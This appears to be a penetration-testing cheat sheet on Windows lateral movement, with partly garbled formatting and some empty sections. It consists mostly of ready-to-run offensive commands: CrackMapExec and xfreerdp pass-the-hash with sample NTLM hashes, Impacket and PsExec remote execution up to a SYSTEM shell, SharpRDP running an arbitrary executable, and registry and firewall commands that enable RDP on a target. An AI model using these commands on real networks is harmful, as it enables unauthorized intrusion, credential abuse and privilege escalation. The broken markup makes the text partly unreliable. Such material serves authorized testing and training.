### Metasploit - Psexec

|
|
set RHOST 10.2.0.3
|

|
```
|
|
|
|
## Crackmapexec

|
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
|
|
python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
|
|
python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
|
|
# pass the hash

|
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
|
|
```
|
|
|
|
## Winexe
|
|
|
|
Integrated to Kali
|
|
|
|
```python
|
|

|
|
```
|
|
|
|
## WMI

|
|
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
|
|
```
|
|
|
|
## Psexec.py / Smbexec.py / Wmiexec.py
|
|
|
|
from Impacket
|
|
|
|
```python
|
|
git clone https://github.com/CoreSecurity/impacket.git
|
|
python psexec.py DOMAIN/username:password@10.10.10.10
|
|
python smbexec.py DOMAIN/username:password@10.10.10.10
|
|
python wmiexec.py DOMAIN/username:password@10.10.10.10
|
|
|
|
# psexec.exe -s cmd
|
|
# switch admin user to NT Authority/System
|
|
```
|
|
|
|
## PsExec - Sysinternal
|
|
|
|
from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
|
|
|
|
```powershell
|
|
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
|
|
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
|
|
```
|
|
|
|
## RDP Remote Desktop Protocol
|
|
|
|
Abuse RDP protocol to execute commands remotely with [SharpRDP](https://github.com/0xthirteen/SharpRDP)
|
|
|
|
```powershell
|
|
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
|
|
```
|
|
|
|
Or connect remotely with `rdesktop`
|
|
|
|
```powershell
|
|
rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
|
|
rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
|
|
# -g : the screen will take up 70% of your actual screen size
|
|
# -r disk:share : sharing a local folder during a remote desktop session
|
|
```
|
|
|
|
Note: you may need to enable it with the following command
|
|
|
|
```powershell
|
|
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
|
|
netsh firewall set service remoteadmin enable
|
|
netsh firewall set service remotedesktop enable
|
|
```
|
|
|
|
or with psexec(sysinternals)
|
|
|
|
```powershell
|
|
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
|
|
```
|
|
|
|
or with crackmapexec
|
|
|
|
```powershell
|
|
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
|
|
```
|
|
|
|
or with Metasploit
|
|
|
|
```powershell
|
|
run getgui -u admin -p 1234
|
|
```
|
|
|
|
or with xfreerdp
|
|
|
|
```powershell
|
|
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
|
|
xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
|
|
xfreerd /u:runner /v:10.0.0.1 # password will be asked
|
|
```
|
|
|
